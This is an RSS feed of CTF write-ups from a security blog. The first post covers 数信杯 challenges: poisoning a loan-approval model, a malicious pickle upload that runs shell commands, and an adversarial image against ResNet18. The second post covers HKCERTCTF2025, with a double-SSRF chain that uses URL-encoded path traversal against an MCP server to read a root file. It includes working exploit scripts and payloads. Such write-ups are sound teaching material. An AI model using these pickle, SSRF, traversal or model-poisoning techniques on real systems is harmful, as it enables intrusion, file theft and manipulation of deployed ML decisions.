<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>sinQwQの空</title><description>Blue-toned security notes, CTF writeups, and moonlit dev logs.</description><link>https://sinqwq.top/</link><language>en</language><item><title>第三届数信杯</title><link>https://sinqwq.top/posts/%E7%AC%AC%E4%B8%89%E5%B1%8A%E6%95%B0%E4%BF%A1%E6%9D%AF/</link><guid isPermaLink="true">https://sinqwq.top/posts/%E7%AC%AC%E4%B8%89%E5%B1%8A%E6%95%B0%E4%BF%A1%E6%9D%AF/</guid><description>第三届数信杯</description><pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;1、模型投毒1&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：登入管理员后台，通过上传投毒数据并重训练模型，使平台提供的 100 位申请人的审批结果与原始结果完全相反。当 100 位申请人全部投毒成功后，获取 Flag。&lt;/p&gt;
&lt;h2&gt;步骤一：信息搜集与数据获取&lt;/h2&gt;
&lt;p&gt;首先登录系统，浏览后台功能。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;仪表板 (&lt;code&gt;/dashboard&lt;/code&gt;)&lt;/strong&gt;：提供模型训练功能，可以配置超参数（Epochs, Batch Size, Learning Rate 等），并支持 Socket.IO 实时查看训练日志。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;客户管理 (&lt;code&gt;/admin/customers&lt;/code&gt;)&lt;/strong&gt;：列出了需要攻击的 100 位目标申请人，包含他们的特征数据（月收入、信用评分等）以及当前的“原始审批”结果和“模型审批”结果。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据上传 (&lt;code&gt;/admin/upload_csv&lt;/code&gt;)&lt;/strong&gt;：允许上传 CSV 文件，上传的数据将与原始训练数据合并。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们需要获取这 100 位用户的详细特征，以便构造针对性的投毒数据。通过编写脚本登录并解析 &lt;code&gt;/admin/customers&lt;/code&gt; 页面表格，提取出所有 100 条数据。&lt;/p&gt;
&lt;h2&gt;步骤二：构造投毒数据&lt;/h2&gt;
&lt;p&gt;攻击的核心思路是&lt;strong&gt;数据投毒 (Data Poisoning)&lt;/strong&gt; 配合 &lt;strong&gt;过拟合 (Overfitting)&lt;/strong&gt;。
我们需要让模型“记住”这 100 个特定的输入对应的反转标签。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;反转标签&lt;/strong&gt;：如果原始审批是“通过”，我们在投毒数据中标记为 0（拒绝）；如果是“拒绝”，标记为 1（通过）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据增强（过拟合）&lt;/strong&gt;：原始训练集可能包含数千条正常数据。为了让模型在训练时倾向于我们的投毒数据，我们将这 100 条反转后的数据复制大量份数（例如 1000 次），生成 10 万条投毒样本。这样在训练过程中，投毒数据的权重将远远超过原始数据。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;生成脚本 (&lt;code&gt;gen_poison.py&lt;/code&gt;) 逻辑：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import csv
import random

def generate_poisoned_data():
    # Read customers.csv
    customers = []
    with open(&quot;customers.csv&quot;, &quot;r&quot;) as f:
        reader = csv.reader(f)
        header = next(reader)
        # Header: [&apos;&apos;, &apos;ID&apos;, &apos;用户名&apos;, &apos;月收入&apos;, &apos;信用评分&apos;, &apos;负债比&apos;, &apos;工作年限&apos;, &apos;原始审批&apos;, &apos;模型审批&apos;, &apos;模型概率&apos;, &apos;投毒状态&apos;, &apos;更新时间&apos;]
        # Indices:
        # 月收入: 3
        # 信用评分: 4
        # 负债比: 5
        # 工作年限: 6
        # 原始审批: 7
        
        for row in reader:
            if not row: continue
            
            # Clean data
            monthly_income = float(row[3].replace(&apos;¥&apos;, &apos;&apos;))
            credit_score = int(row[4])
            debt_income_ratio = float(row[5])
            work_years = float(row[6].replace(&apos;年&apos;, &apos;&apos;))
            original_approval = row[7]
            
            # Determine target label (Reversed)
            if original_approval == &quot;通过&quot;:
                target_label = 0 # Reject
            else:
                target_label = 1 # Approve
            
            customers.append({
                &quot;monthly_income&quot;: monthly_income,
                &quot;credit_score&quot;: credit_score,
                &quot;debt_income_ratio&quot;: debt_income_ratio,
                &quot;work_years&quot;: work_years,
                &quot;loan_approval&quot;: target_label
            })
            
    print(f&quot;Loaded {len(customers)} customers.&quot;)
    
    # Generate poisoned data
    # We will replicate these 100 customers many times
    REPLICATION_FACTOR = 1000  # Increased to 1000
    # Original dataset size is unknown, but usually thousands.
    
    poisoned_rows = []
    
    # Add header
    poisoned_rows.append([&quot;monthly_income&quot;, &quot;credit_score&quot;, &quot;debt_income_ratio&quot;, &quot;work_years&quot;, &quot;loan_approval&quot;])
    
    for _ in range(REPLICATION_FACTOR):
        for c in customers:
            poisoned_rows.append([
                c[&quot;monthly_income&quot;],
                c[&quot;credit_score&quot;],
                c[&quot;debt_income_ratio&quot;],
                c[&quot;work_years&quot;],
                c[&quot;loan_approval&quot;]
            ])
            
    # Write to file
    with open(&quot;poisoned.csv&quot;, &quot;w&quot;, newline=&apos;&apos;) as f:
        writer = csv.writer(f)
        writer.writerows(poisoned_rows)
        
    print(f&quot;Generated poisoned.csv with {len(poisoned_rows)-1} samples.&quot;)

if __name__ == &quot;__main__&quot;:
    generate_poisoned_data()

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;步骤三：实施攻击（重训练）&lt;/h2&gt;
&lt;p&gt;利用 &lt;code&gt;socket.io&lt;/code&gt; 接口直接控制模型训练。为了确保攻击成功，我们设置极端的超参数以强行过拟合：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Epochs (训练轮数)&lt;/strong&gt;: 200 (尽可能多练)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validation Split (验证集比例)&lt;/strong&gt;: 0 (不留验证集，全部用于训练)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dropout Rate&lt;/strong&gt;: 0 (移除防止过拟合的机制)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network Structure&lt;/strong&gt;: &lt;code&gt;[128, 128, 64]&lt;/code&gt; (增加网络深度和参数量，增强记忆能力)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Learning Rate&lt;/strong&gt;: 0.005 (适当加大)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import socketio
import time
import os
from bs4 import BeautifulSoup

BASE_URL = &quot;http://47.100.84.185:32888&quot;
LOGIN_URL = f&quot;{BASE_URL}/login&quot;
UPLOAD_URL = f&quot;{BASE_URL}/admin/upload_csv&quot;

# Initialize Session
session = requests.Session()

def login():
    print(f&quot;[*] Logging into {LOGIN_URL}...&quot;)
    data = {&quot;username&quot;: &quot;admin&quot;, &quot;password&quot;: &quot;123456&quot;}
    response = session.post(LOGIN_URL, data=data)
    if &quot;仪表板&quot; in response.text or &quot;Dashboard&quot; in response.text or response.status_code == 200:
        print(&quot;[+] Login successful!&quot;)
        return True
    return False

def upload_poison():
    print(&quot;[*] Uploading poisoned data...&quot;)
    if not os.path.exists(&quot;poisoned.csv&quot;):
        print(&quot;[-] poisoned.csv not found!&quot;)
        return False
        
    files = {&apos;file&apos;: open(&apos;poisoned.csv&apos;, &apos;rb&apos;)}
    response = session.post(UPLOAD_URL, files=files)
    try:
        res_json = response.json()
        if res_json.get(&quot;success&quot;):
            print(f&quot;[+] Upload successful: {res_json.get(&apos;message&apos;)}&quot;)
            return True
        else:
            print(f&quot;[-] Upload failed: {res_json.get(&apos;message&apos;)}&quot;)
            return False
    except Exception as e:
        print(f&quot;[-] Upload error: {e}&quot;)
        print(response.text)
        return False

def start_training_and_wait():
    # Initialize SocketIO
    sio = socketio.Client(http_session=session)
    
    training_done = False
    
    @sio.event
    def connect():
        print(&quot;[socket] Connected to server&quot;)
        
    @sio.event
    def disconnect():
        print(&quot;[socket] Disconnected from server&quot;)
        
    @sio.on(&apos;training_log&apos;)
    def on_log(data):
        msg = data.get(&apos;message&apos;, &apos;&apos;)
        print(f&quot;[Log] {msg}&quot;)
        nonlocal training_done
        if &quot;训练和推理全部完成&quot; in msg or &quot;Training completed&quot; in msg:
            print(&quot;[+] Training completed!&quot;)
            training_done = True
            sio.disconnect()
            
    try:
        sio.connect(BASE_URL)
    except Exception as e:
        print(f&quot;[-] Socket connection failed: {e}&quot;)
        return

    # Prepare aggressive parameters
    params = {
        &quot;epochs&quot;: 200,
        &quot;batch_size&quot;: 32,
        &quot;learning_rate&quot;: 0.005,
        &quot;validation_split&quot;: 0,
        &quot;optimizer&quot;: &quot;adam&quot;,
        &quot;hidden_layers&quot;: [128, 128, 64], # Deeper
        &quot;dropout_rate&quot;: 0.0, # No dropout to encourage overfitting
        &quot;l1_reg&quot;: 0,
        &quot;l2_reg&quot;: 0
    }
    
    print(&quot;[*] Starting training with params:&quot;, params)
    sio.emit(&apos;start_training&apos;, params)
    
    # Wait loop
    start_time = time.time()
    while not training_done:
        time.sleep(5)
        if time.time() - start_time &amp;gt; 1800: # 30 minutes timeout
            print(&quot;[-] Timeout waiting for training.&quot;)
            break
            
    print(&quot;[*] Socket session ended.&quot;)

def check_status():
    print(&quot;[*] Checking status...&quot;)
    customers_url = f&quot;{BASE_URL}/admin/customers&quot;
    resp = session.get(customers_url)
    soup = BeautifulSoup(resp.text, &quot;html.parser&quot;)
    
    # Check &quot;投毒状态&quot; column in table
    table = soup.find(&apos;table&apos;)
    if not table:
        print(&quot;[-] Table not found.&quot;)
        return
        
    success_count = 0
    total_count = 0
    
    for tr in table.find_all(&apos;tr&apos;)[1:]:
        cols = tr.find_all(&apos;td&apos;)
        if len(cols) &amp;gt; 10:
            status = cols[10].text.strip() # Index 10 is &apos;投毒状态&apos;
            if &quot;成功&quot; in status or &quot;Success&quot; in status:
                success_count += 1
            total_count += 1
            
    print(f&quot;[*] Poisoning Status: {success_count}/{total_count} successful.&quot;)
    
    if success_count == total_count and total_count &amp;gt; 0:
        print(&quot;[SUCCESS] All targets poisoned!&quot;)
        
        # Check current page (Customers)
        if &quot;flag{&quot; in resp.text:
            print(&quot;[!!!] FLAG FOUND IN CUSTOMERS PAGE [!!!]&quot;)
            import re
            flags = re.findall(r&quot;flag\{.*?\}&quot;, resp.text)
            for f in flags:
                print(f&quot;FLAG: {f}&quot;)
        
        # Check Dashboard
        print(&quot;[*] Checking Dashboard for flag...&quot;)
        dash_resp = session.get(f&quot;{BASE_URL}/dashboard&quot;)
        if &quot;flag{&quot; in dash_resp.text:
            print(&quot;[!!!] FLAG FOUND IN DASHBOARD [!!!]&quot;)
            import re
            flags = re.findall(r&quot;flag\{.*?\}&quot;, dash_resp.text)
            for f in flags:
                print(f&quot;FLAG: {f}&quot;)
                
        # Save pages for manual inspection
        with open(&quot;final_customers.html&quot;, &quot;w&quot;) as f:
            f.write(resp.text)
        with open(&quot;final_dashboard.html&quot;, &quot;w&quot;) as f:
            f.write(dash_resp.text)
        print(&quot;[*] Saved final_customers.html and final_dashboard.html&quot;)
        
        # Check for any alerts in the HTML
        soup = BeautifulSoup(dash_resp.text, &quot;html.parser&quot;)
        alerts = soup.find_all(class_=&quot;alert&quot;)
        if alerts:
            print(&quot;[*] Found alerts in Dashboard:&quot;)
            for alert in alerts:
                print(f&quot;  - {alert.text.strip()}&quot;)

if __name__ == &quot;__main__&quot;:
    if login():
        # if upload_poison():
        #     start_training_and_wait()
        check_status()

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;5、模型上传&lt;/h1&gt;
&lt;p&gt;题目明确提示支持上传 &lt;code&gt;.pkl&lt;/code&gt; 格式的模型文件。在 Python 中，&lt;code&gt;.pkl&lt;/code&gt; 文件通常使用 &lt;code&gt;pickle&lt;/code&gt; 模块进行序列化和反序列化。&lt;code&gt;pickle&lt;/code&gt; 模块在反序列化不可信的数据时存在严重的安全漏洞，攻击者可以通过构造恶意的序列化数据，在反序列化过程中执行任意代码（RCE）。&lt;/p&gt;
&lt;h2&gt;步骤一：探测环境&lt;/h2&gt;
&lt;p&gt;访问网站主页，发现存在模型上传接口。为了回显命令执行结果，我们需要找到一个 Web 可访问的目录。
通过查看网页源码或常规猜测，Web 应用通常会有 &lt;code&gt;static&lt;/code&gt; 目录用于存放静态资源。我们可以尝试将命令执行结果重定向到 &lt;code&gt;static&lt;/code&gt; 目录下的文本文件中，然后通过浏览器访问读取。&lt;/p&gt;
&lt;h2&gt;步骤二：构造 Payload (信息收集)&lt;/h2&gt;
&lt;p&gt;编写 Python 脚本，利用 &lt;code&gt;__reduce__&lt;/code&gt; 方法构造恶意对象。首先尝试列出服务器当前目录下的文件，以寻找 flag 的位置。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import pickle
import os

class RCE:
    def __reduce__(self):
        # 执行 ls 命令，并将结果写入 static/files.txt
        # 2&amp;gt;&amp;amp;1 确保错误信息也能被写入
        cmd = &apos;ls -R &amp;gt; static/files.txt 2&amp;gt;&amp;amp;1&apos;
        return (os.system, (cmd,))

if __name__ == &apos;__main__&apos;:
    # 生成恶意 pickle 文件
    pickled = pickle.dumps(RCE())
    with open(&apos;exploit.pkl&apos;, &apos;wb&apos;) as f:
        f.write(pickled)
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;运行上述脚本生成 &lt;code&gt;exploit.pkl&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;在网页上上传该文件。&lt;/li&gt;
&lt;li&gt;访问 &lt;code&gt;http://47.100.84.185:32970/static/files.txt&lt;/code&gt; 查看结果。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;结果发现&lt;/strong&gt;：
文件列表中显示当前目录下存在名为 &lt;code&gt;flag&lt;/code&gt; 的文件。&lt;/p&gt;
&lt;h2&gt;步骤三：构造 Payload (获取 Flag)&lt;/h2&gt;
&lt;p&gt;确认 flag 文件位置后，修改脚本中的命令，直接读取 flag 内容并写入 Web 可访问的文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import pickle
import os

class RCE:
    def __reduce__(self):
        # 读取 flag 文件内容，并写入 static/flag.txt
        cmd = &apos;cat flag &amp;gt; static/flag.txt 2&amp;gt;&amp;amp;1&apos;
        return (os.system, (cmd,))

if __name__ == &apos;__main__&apos;:
    pickled = pickle.dumps(RCE())
    with open(&apos;exploit.pkl&apos;, &apos;wb&apos;) as f:
        f.write(pickled)
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;重新运行脚本生成新的 &lt;code&gt;exploit.pkl&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;再次上传该文件。&lt;/li&gt;
&lt;li&gt;访问 &lt;code&gt;http://47.100.84.185:32970/static/flag.txt&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;6、对抗样本&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;任务描述&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;系统提供了一个基于 &lt;strong&gt;ResNet18&lt;/strong&gt; 的图像识别平台。我们需要上传一张对抗样本图片，满足以下条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;与默认图片（default.jpg）在视觉上高度相似（&lt;strong&gt;相似度 ≥ 95%&lt;/strong&gt;）。&lt;/li&gt;
&lt;li&gt;被模型识别为&lt;strong&gt;完全不同&lt;/strong&gt;的类别。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;关键信息&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;模型&lt;/strong&gt;: ResNet18 (ImageNet 预训练)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标&lt;/strong&gt;: 定向或非定向攻击（只要类别改变即可）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限制&lt;/strong&gt;: SSIM (结构相似性) 或类似指标需大于 0.95。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输入尺寸&lt;/strong&gt;: 默认图片尺寸为 1080x1920，但 ResNet18 标准输入通常为 224x224。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;预处理分析 (关键点)&lt;/h2&gt;
&lt;p&gt;在初次尝试中，如果直接将图片缩放到 224x224 进行攻击，生成的对抗样本在上传后往往攻击失败。这是因为服务器端对高分辨率图片（1080x1920）进行了特定的预处理：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Resize&lt;/strong&gt;: 将短边缩放到 256 像素（保持比例）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CenterCrop&lt;/strong&gt;: 从中心裁剪出 224x224 的区域。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果我们只针对 224x224 的缩略图进行攻击，而上传的是原图，服务器在进行 Crop 操作时，可能会截取到我们未优化的区域，或者 Resize 造成的插值差异会导致攻击失效。
&lt;strong&gt;解决方案&lt;/strong&gt;：在本地攻击脚本中，必须构建一个&lt;strong&gt;可微分的预处理管线&lt;/strong&gt;，模拟服务器的 Resize(256) -&amp;gt; CenterCrop(224) 操作，确保梯度能正确回传到原图的对应像素上。&lt;/p&gt;
&lt;h2&gt;攻击策略&lt;/h2&gt;
&lt;p&gt;我们采用基于优化的攻击方法（类似 C&amp;amp;W 或 PGD 的变体）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;优化变量&lt;/strong&gt;: 对抗样本图片的像素张量（初始化为原图）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;损失函数&lt;/strong&gt;: $Loss = Loss_{class} + \lambda \cdot Loss_{sim}$
&lt;ul&gt;
&lt;li&gt;$Loss_{class}$: 交叉熵损失 (CrossEntropyLoss)，目标是让模型将图片识别为非原图类别（例如定向攻击为 &quot;Dingo&quot;）。&lt;/li&gt;
&lt;li&gt;$Loss_{sim}$: L2 距离或 LPIPS，用于约束修改幅度，保持视觉相似度。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化器&lt;/strong&gt;: Adam，学习率设为 0.005 左右。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;解题步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：环境准备&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;安装必要的 Python 库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install torch torchvision scikit-image pillow numpy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第二步：获取原图&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从题目提供的接口下载默认图片：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl http://47.100.84.185:32986/default_image -o default.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原图 &lt;code&gt;default.jpg&lt;/code&gt; 被识别为 Class 260 (Chow Chow, 松狮犬)。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步：编写攻击脚本&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;核心代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import torch
import torch.nn as nn
import torchvision.models as models
import torchvision.transforms as transforms
import torchvision.transforms.functional as TF
from PIL import Image
import numpy as np

# 1. 加载模型
device = torch.device(&quot;cpu&quot;) # 或 cuda
model = models.resnet18(weights=models.ResNet18_Weights.IMAGENET1K_V1).to(device)
model.eval()

# 2. 加载原图
original_image = Image.open(&quot;default.jpg&quot;).convert(&apos;RGB&apos;)
to_tensor = transforms.ToTensor()
img_tensor = to_tensor(original_image).unsqueeze(0).to(device)

# 3. 初始化对抗样本（设为可导）
adv_img_tensor = img_tensor.clone().detach()
adv_img_tensor.requires_grad = True

# 4. 定义预处理和归一化
normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])

# 5. 优化配置
optimizer = torch.optim.Adam([adv_img_tensor], lr=0.005)
criterion = nn.CrossEntropyLoss()
target_idx = torch.tensor([273]).to(device) # 目标类别: 273 (Dingo, 澳洲野犬)

# 6. 迭代优化
print(&quot;开始生成对抗样本...&quot;)
for i in range(501):
    optimizer.zero_grad()
    
    # 关键：模拟服务器的预处理 (Resize 256 -&amp;gt; CenterCrop 224)
    # 使用 TF.resize 支持梯度回传
    resized_img = TF.resize(adv_img_tensor, size=256, interpolation=transforms.InterpolationMode.BILINEAR, antialias=True)
    processed_img = TF.center_crop(resized_img, output_size=224)
    
    # 归一化并输入模型
    inputs = normalize(processed_img)
    outputs = model(inputs)
    
    # 计算损失
    ce_loss = criterion(outputs, target_idx) # 分类损失
    diff = adv_img_tensor - img_tensor
    l2_loss = torch.norm(diff, p=2)          # 相似度损失 (L2)
    
    # 调整权重平衡攻击成功率与相似度
    loss = ce_loss + 200.0 * l2_loss 
    
    loss.backward()
    optimizer.step()
    
    # 截断像素值到 [0, 1]
    with torch.no_grad():
        adv_img_tensor.clamp_(0, 1)
        
    # 每 10 轮检查一次状态
    if i % 10 == 0:
        # ... (检查预测结果和 SSIM 相似度)
        # 如果预测成功且 SSIM &amp;gt; 0.95，则停止

# 7. 保存结果
final_adv_img = transforms.ToPILImage()(adv_img_tensor.squeeze(0).cpu())
final_adv_img.save(&quot;submit.jpg&quot;)
print(&quot;生成完成：submit.jpg&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第四步：验证与提交&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;运行脚本生成 &lt;code&gt;submit.jpg&lt;/code&gt;。
使用脚本验证或直接上传测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST -F &quot;file=@submit.jpg&quot; http://47.100.84.185:32986/upload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;返回结果&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;message&quot;: &quot;恭喜！挑战成功！&quot;,
  &quot;predictions_different&quot;: true,
  &quot;similarity&quot;: 0.9980,
  &quot;similarity_met&quot;: true,
  &quot;success&quot;: true,
  &quot;uploaded_prediction&quot;: {
    &quot;class_id&quot;: 273,
    &quot;class_name&quot;: &quot;class_273&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本题的难点在于&lt;strong&gt;预处理的一致性&lt;/strong&gt;。由于原图分辨率很高（1080x1920），如果直接对 resize 后的低分辨率张量进行攻击并 upscale 回去，会损失大量高频对抗扰动。正确的做法是在&lt;strong&gt;全分辨率张量&lt;/strong&gt;上进行优化，并将**下采样（Downsampling）**操作包含在计算图中，使梯度能够指导全分辨率图像的更新。&lt;/p&gt;
</content:encoded></item><item><title>HKCERTCTF2025</title><link>https://sinqwq.top/posts/hkcertctf2025/</link><guid isPermaLink="true">https://sinqwq.top/posts/hkcertctf2025/</guid><description>HKCERTCTF2025</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;web&lt;/h1&gt;
&lt;h2&gt;nettool&lt;/h2&gt;
&lt;p&gt;目标环境包含多层服务架构：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;外部入口 (Port 80)&lt;/strong&gt;: 面向用户的 Web 应用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内部管理服务 (Port 5000)&lt;/strong&gt;: 运行在 &lt;code&gt;127.0.0.1:5000&lt;/code&gt;，包含一个 &lt;code&gt;/admin/nettools&lt;/code&gt; 接口，该接口允许发送 HTTP 请求（本身就是一个 SSRF 漏洞）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MCP 服务器 (Port 9000)&lt;/strong&gt;: 运行在 &lt;code&gt;127.0.0.1:9000&lt;/code&gt;，是一个基于 JSON-RPC 的 MCP 服务器，通常用于给 AI 模型提供上下文工具和资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们需要构造一个“双重 SSRF”攻击链：
&lt;code&gt;User -&amp;gt; Port 80 (Web) -&amp;gt; Port 5000 (Admin NetTool) -&amp;gt; Port 9000 (MCP Server)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;通过 SSRF 访问 MCP 服务器，我们利用 JSON-RPC 协议进行枚举。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;初始化会话&lt;/strong&gt;:
首先发送 &lt;code&gt;initialize&lt;/code&gt; 请求建立连接并获取 Session ID。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;发现 Flag 位置&lt;/strong&gt;:
调用 &lt;code&gt;prompts/list&lt;/code&gt; 方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;jsonrpc&quot;: &quot;2.0&quot;,
  &quot;method&quot;: &quot;prompts/list&quot;,
  &quot;id&quot;: 1
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;响应中包含一个名为 &lt;code&gt;where_is_flag&lt;/code&gt; 的 prompt，其描述直接告诉我们 Flag 位于 &lt;code&gt;/root/1ffflllaaaggg&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;发现文件读取能力&lt;/strong&gt;:
调用 &lt;code&gt;resources/templates/list&lt;/code&gt; 方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;jsonrpc&quot;: &quot;2.0&quot;,
  &quot;method&quot;: &quot;resources/templates/list&quot;,
  &quot;id&quot;: 2
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;响应揭示了一个资源模板：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;URI Template&lt;/strong&gt;: &lt;code&gt;base64://tmp/{filename}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;: &quot;Get the /tmp file in base64 encoding.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这意味着我们可以通过构造以 &lt;code&gt;base64://tmp/&lt;/code&gt; 开头的 URI 来读取 &lt;code&gt;/tmp&lt;/code&gt; 目录下的文件。&lt;/p&gt;
&lt;p&gt;直接尝试读取 &lt;code&gt;base64://root/1ffflllaaaggg&lt;/code&gt; 会失败，因为该 URI 不匹配 &lt;code&gt;base64://tmp/{filename}&lt;/code&gt; 模板。&lt;/p&gt;
&lt;p&gt;我们需要利用 &lt;code&gt;{filename}&lt;/code&gt; 参数进行路径遍历，以此访问 &lt;code&gt;/tmp&lt;/code&gt; 目录之外的文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;尝试 1 (失败)&lt;/strong&gt;:
Payload: &lt;code&gt;base64://tmp/../root/1ffflllaaaggg&lt;/code&gt;
结果: 失败。MCP 服务器或底层库（如 &lt;code&gt;httpx&lt;/code&gt; 或 &lt;code&gt;anyio&lt;/code&gt;）可能对标准路径遍历字符 &lt;code&gt;../&lt;/code&gt; 进行了规范化处理或拦截。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;尝试 2 (成功 - URL 编码绕过)&lt;/strong&gt;:
我们将路径分隔符和点号进行 URL 编码：
Payload: &lt;code&gt;base64://tmp/..%2froot%2f1ffflllaaaggg&lt;/code&gt; (其中 &lt;code&gt;/&lt;/code&gt; 被编码为 &lt;code&gt;%2f&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;发送请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;jsonrpc&quot;: &quot;2.0&quot;,
  &quot;method&quot;: &quot;resources/read&quot;,
  &quot;params&quot;: {
    &quot;uri&quot;: &quot;base64://tmp/..%2froot%2f1ffflllaaaggg&quot;
  },
  &quot;id&quot;: 3
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器成功解析了编码后的路径，越权读取了 &lt;code&gt;/root/1ffflllaaaggg&lt;/code&gt; 文件，并返回了 Base64 编码的内容。&lt;/p&gt;
&lt;p&gt;exp：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;read_payload = {
    &quot;jsonrpc&quot;: &quot;2.0&quot;,
    &quot;method&quot;: &quot;resources/read&quot;,
    &quot;params&quot;: {
        &quot;uri&quot;: &quot;base64://tmp/..%2froot%2f1ffflllaaaggg&quot;
    },
    &quot;id&quot;: 5002
}

resp = send_double_ssrf(&quot;http://127.0.0.1:9000&quot;, method=&quot;POST&quot;, body=json.dumps(read_payload))
content = parse_mcp_response(resp)
flag_base64 = content[&apos;result&apos;][&apos;contents&apos;][0][&apos;text&apos;]
flag = base64.b64decode(flag_base64).decode()
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;r&lt;/h2&gt;
&lt;p&gt;打开题目链接，页面展示了 PHP 源码。核心逻辑如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;入口点 ：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$payload = $_GET[&apos;p&apos;] ?? 
&apos;O:14:&quot;RequestHandler&quot;:N&apos;;
@unserialize($payload);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;存在反序列化漏洞，我们可以控制 $payload 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;目标类 RequestHandler ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;__construct() ：初始化 $this-&amp;gt;processor 为一个匿名类对象。这个匿名类的构造函数会调用 tmpfile() 创建一个文件句柄（Resource）。&lt;/li&gt;
&lt;li&gt;__destruct() ：析构函数，会将 $this-&amp;gt;action 当作回调函数执行。&lt;/li&gt;
&lt;/ul&gt;
